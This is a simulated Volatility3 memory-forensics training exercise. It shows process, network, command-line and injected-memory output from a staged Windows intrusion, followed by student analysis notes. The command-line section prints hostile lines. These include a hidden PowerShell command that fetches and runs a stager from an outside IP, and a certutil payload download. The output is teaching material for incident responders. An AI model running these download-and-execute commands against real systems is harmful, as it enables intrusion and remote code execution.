================================================================================ SIMULATED VOLATILITY3 OUTPUT -- FORENSIC TRAINING EXERCISE Case: INTL-2025-0042 | Image: memory.raw (8 GB) | Profile: Win10x64_19041 Acquisition Time: 2025-07-15 04:32:18 UTC SHA-256: a3c1f8e2d94b...7f2e (simulated) ================================================================================ ================================================================================ Plugin: windows.pslist ================================================================================ PID PPID ImageFileName CreateTime Threads Handles SessionId 4 0 System 2025-07-14 08:15:02 UTC 187 - - 124 4 Registry 2025-07-14 08:15:02 UTC 4 0 - 456 4 smss.exe 2025-07-14 08:15:05 UTC 2 29 - 568 456 csrss.exe 2025-07-14 08:15:07 UTC 14 587 0 624 456 csrss.exe 2025-07-14 08:15:07 UTC 14 525 1 652 568 wininit.exe 2025-07-14 08:15:08 UTC 1 78 0 680 624 winlogon.exe 2025-07-14 08:15:08 UTC 5 134 1 748 652 services.exe 2025-07-14 08:15:09 UTC 9 291 0 756 652 lsass.exe 2025-07-14 08:15:09 UTC 10 782 0 872 748 svchost.exe 2025-07-14 08:15:12 UTC 21 467 0 940 748 svchost.exe 2025-07-14 08:15:13 UTC 12 358 0 1024 748 svchost.exe 2025-07-14 08:15:14 UTC 18 294 0 1188 748 svchost.exe 2025-07-14 08:15:15 UTC 8 187 0 1304 748 svchost.exe 2025-07-14 08:15:16 UTC 6 112 0 1572 748 spoolsv.exe 2025-07-14 08:15:22 UTC 7 205 0 1940 748 MsMpEng.exe 2025-07-14 08:15:31 UTC 32 548 0 2104 680 userinit.exe 2025-07-14 09:02:44 UTC 0 0 1 2156 2104 explorer.exe 2025-07-14 09:02:45 UTC 48 1842 1 2480 2156 taskmgr.exe 2025-07-14 09:05:12 UTC 8 197 1 3012 748 svchost.exe 2025-07-14 09:10:33 UTC 4 88 0 3328 2156 chrome.exe 2025-07-14 09:12:01 UTC 25 452 1 3456 3328 chrome.exe 2025-07-14 09:12:02 UTC 8 189 1 3512 3328 chrome.exe 2025-07-14 09:12:03 UTC 8 167 1 >>> 4892 2156 powershell.exe 2025-07-15 02:47:33 UTC 15 412 1 <<< SUSPICIOUS: spawned by explorer.exe at 02:47 (off-hours) >>> 5104 4892 cmd.exe 2025-07-15 02:48:01 UTC 2 64 1 <<< SUSPICIOUS: child of suspicious powershell >>> 5280 5104 whoami.exe 2025-07-15 02:48:05 UTC 1 28 1 <<< RECON: attacker enumeration >>> 5344 5104 net.exe 2025-07-15 02:48:12 UTC 1 31 1 <<< RECON: network enumeration >>> 5520 5104 nltest.exe 2025-07-15 02:48:18 UTC 1 22 1 <<< RECON: domain trust enumeration >>> 6112 748 svchost.exe 2025-07-15 02:51:44 UTC 3 97 0 <<< SUSPICIOUS: svchost spawned by services.exe but at anomalous time >>> 6340 6112 rundll32.exe 2025-07-15 02:52:01 UTC 4 156 0 <<< SUSPICIOUS: child of anomalous svchost >>> 6688 4892 powershell.exe 2025-07-15 03:15:22 UTC 12 387 1 <<< SUSPICIOUS: second powershell instance >>> 7044 6688 certutil.exe 2025-07-15 03:22:08 UTC 2 45 1 <<< SUSPICIOUS: certutil used for download (LOLBin) ================================================================================ Plugin: windows.netscan ================================================================================ Offset Proto LocalAddr LocalPort ForeignAddr ForeignPort State PID Owner 0x7e8a1040 TCPv4 10.0.5.21 49667 52.165.42.17 443 ESTABLISHED 3328 chrome.exe 0x7e8a2180 TCPv4 10.0.5.21 49668 52.165.42.17 443 ESTABLISHED 3456 chrome.exe 0x7e8a3200 TCPv4 10.0.5.21 49712 172.217.14.99 443 ESTABLISHED 3328 chrome.exe >>> 0x7e8b4380 TCPv4 10.0.5.21 49823 185.220.101.47 8443 ESTABLISHED 4892 powershell.exe <<< C2 CONNECTION >>> 0x7e8b5440 TCPv4 10.0.5.21 49891 185.220.101.47 443 ESTABLISHED 6340 rundll32.exe <<< C2 CONNECTION >>> 0x7e8b6500 TCPv4 10.0.5.21 49902 198.51.100.23 80 CLOSE_WAIT 7044 certutil.exe <<< STAGING SERVER 0x7e8c7620 TCPv4 10.0.5.21 135 0.0.0.0 0 LISTENING 872 svchost.exe 0x7e8c8740 TCPv4 10.0.5.21 445 0.0.0.0 0 LISTENING 4 System >>> 0x7e8c9860 TCPv4 10.0.5.21 4444 0.0.0.0 0 LISTENING 6112 svchost.exe <<< SUSPICIOUS LISTENER (reverse shell port) 0x7e8ca980 TCPv4 10.0.5.21 49825 10.0.5.1 88 ESTABLISHED 756 lsass.exe >>> 0x7e8cb0a0 UDPv4 10.0.5.21 53 * * 6112 svchost.exe <<< SUSPICIOUS: svchost bound to DNS port >>> 0x7e8cc1b0 TCPv4 10.0.5.21 49950 10.0.5.50 445 ESTABLISHED 5104 cmd.exe <<< LATERAL MOVEMENT to file server ================================================================================ Plugin: windows.cmdline ================================================================================ PID Process Cmdline 4 System - 568 csrss.exe %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 652 wininit.exe wininit.exe 748 services.exe C:\Windows\system32\services.exe 756 lsass.exe C:\Windows\system32\lsass.exe 872 svchost.exe C:\Windows\system32\svchost.exe -k DcomLaunch -p 940 svchost.exe C:\Windows\system32\svchost.exe -k RPCSS -p 1024 svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p 1940 MsMpEng.exe "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25060.7\MsMpEng.exe" 2156 explorer.exe C:\Windows\Explorer.EXE 3328 chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" >>> 4892 powershell.exe powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwAxADgANQAuADIAMgAwAC4AMQAwADEALgA0ADcAOgA4ADQANAAzAC8AcwB0AGEAZwBlAHIAJwApAA== DECODED: IEX (New-Object Net.WebClient).DownloadString('https://185.220.101.47:8443/stager') >>> 5280 whoami.exe whoami /all >>> 5344 net.exe net group "Domain Admins" /domain >>> 5520 nltest.exe nltest /domain_trusts >>> 6112 svchost.exe C:\Windows\Temp\svc_update.exe -k netsvcs NOTE: Masquerading as svchost.exe but running from %TEMP% -- MALICIOUS >>> 6340 rundll32.exe rundll32.exe C:\Windows\Temp\update.dll,DllMain NOTE: Loading unsigned DLL from %TEMP% >>> 6688 powershell.exe powershell.exe -nop -enc JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAJwApACkA DECODED: $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String('H4sIAAAAAAAAA')) NOTE: In-memory decompression of payload -- fileless malware technique >>> 7044 certutil.exe certutil.exe -urlcache -split -f http://198.51.100.23/payload.b64 C:\Windows\Temp\payload.b64 NOTE: LOLBin abuse -- certutil used to download additional payload ================================================================================ Plugin: windows.malfind ================================================================================ PID Process Start End Tag Protection Hexdump / Disassembly ------ ----------- ---------- ---------- --- ---------- --------------------- >>> 6112 svchost.exe 0x2a40000 0x2a42fff VadS PAGE_EXECUTE_READWRITE 0x2a40000: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 MZ.............. 0x2a40010: b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@....... 0x2a40020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x2a40030: 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 ................ MZ header detected in private memory region -- INJECTED PE Protection: PAGE_EXECUTE_READWRITE -- suspicious, legitimate code rarely needs RWX >>> 2156 explorer.exe 0x7ff40000 0x7ff42fff VadS PAGE_EXECUTE_READWRITE 0x7ff40000: fc 48 83 e4 f0 e8 c8 00 00 00 41 51 41 50 52 51 .H........AQAPRQ 0x7ff40010: 56 48 31 d2 65 48 8b 52 60 48 8b 52 18 48 8b 52 VH1.eH.R`H.R.H.R 0x7ff40020: 20 48 8b 72 50 48 0f b7 4a 4a 4d 31 c9 48 31 c0 H.rPH..JJM1.H1. 0x7ff40030: ac 3c 61 7c 02 2c 20 41 c1 c9 0d 41 01 c1 e2 ed .>> 6340 rundll32.exe 0x1b20000 0x1b24fff VadS PAGE_EXECUTE_READWRITE 0x1b20000: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 MZ.............. 0x1b20010: b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@....... 0x1b20020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1b20030: 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 ................ MZ header in RWX region -- reflectively loaded DLL Export: DllMain -> starts C2 beacon thread Protection: PAGE_EXECUTE_READWRITE ================================================================================ Plugin: windows.dlllist (PID 6112 -- suspicious svchost.exe) ================================================================================ PID Process Base Size Name Path 6112 svchost.exe 0x7ff6a0000 0x18000 svc_update.exe C:\Windows\Temp\svc_update.exe 6112 svchost.exe 0x7ffa1b000 0x1f8000 ntdll.dll C:\Windows\SYSTEM32\ntdll.dll 6112 svchost.exe 0x7ffa05000 0xba000 KERNEL32.DLL C:\Windows\System32\KERNEL32.DLL 6112 svchost.exe 0x7ff9e8000 0x2f5000 KERNELBASE.dll C:\Windows\System32\KERNELBASE.dll >>> 6112 svchost.exe 0x7ff98a000 0x52000 beacon.dll C:\Windows\Temp\beacon.dll <<< UNSIGNED, C2 IMPLANT >>> 6112 svchost.exe 0x7ff960000 0x28000 inject_helper.dll C:\Windows\Temp\inject_helper.dll <<< UNSIGNED, INJECTION TOOL 6112 svchost.exe 0x7ff9f1000 0x9f000 msvcrt.dll C:\Windows\System32\msvcrt.dll 6112 svchost.exe 0x7ffa10000 0xa4000 WS2_32.dll C:\Windows\System32\WS2_32.dll 6112 svchost.exe 0x7ff9d2000 0x12000 WINHTTP.dll C:\Windows\System32\WINHTTP.dll ================================================================================ Plugin: windows.dlllist (PID 6340 -- suspicious rundll32.exe) ================================================================================ PID Process Base Size Name Path 6340 rundll32.exe 0x7ff7c0000 0x14000 rundll32.exe C:\Windows\System32\rundll32.exe 6340 rundll32.exe 0x7ffa1b000 0x1f8000 ntdll.dll C:\Windows\SYSTEM32\ntdll.dll 6340 rundll32.exe 0x7ffa05000 0xba000 KERNEL32.DLL C:\Windows\System32\KERNEL32.DLL >>> 6340 rundll32.exe 0x7ff92b000 0x3a000 update.dll C:\Windows\Temp\update.dll <<< UNSIGNED, LOADED VIA CMDLINE 6340 rundll32.exe 0x7ff9f1000 0x9f000 msvcrt.dll C:\Windows\System32\msvcrt.dll 6340 rundll32.exe 0x7ffa10000 0xa4000 WS2_32.dll C:\Windows\System32\WS2_32.dll ================================================================================ END OF SIMULATED VOLATILITY OUTPUT ================================================================================ ANALYSIS NOTES (for student reference): - PID 4892 (powershell.exe): Initial access vector. Spawned by explorer.exe at 02:47 UTC with encoded command downloading stager from 185.220.101.47:8443. - PID 6112 (svc_update.exe masquerading as svchost.exe): Persistence mechanism running from C:\Windows\Temp. Loads beacon.dll and inject_helper.dll (both unsigned). Listening on port 4444 (reverse shell) and bound to UDP 53 (DNS tunneling). - PID 6340 (rundll32.exe): Secondary implant loading update.dll from Temp directory. - PID 6688 (powershell.exe): Fileless second-stage using in-memory decompression. - PID 7044 (certutil.exe): LOLBin abuse downloading additional payload. - Explorer.exe (PID 2156) contains injected Metasploit shellcode (malfind). - Lateral movement observed: cmd.exe connecting to 10.0.5.50:445 (file server). - C2 infrastructure: 185.220.101.47 (ports 8443, 443) and 198.51.100.23 (port 80).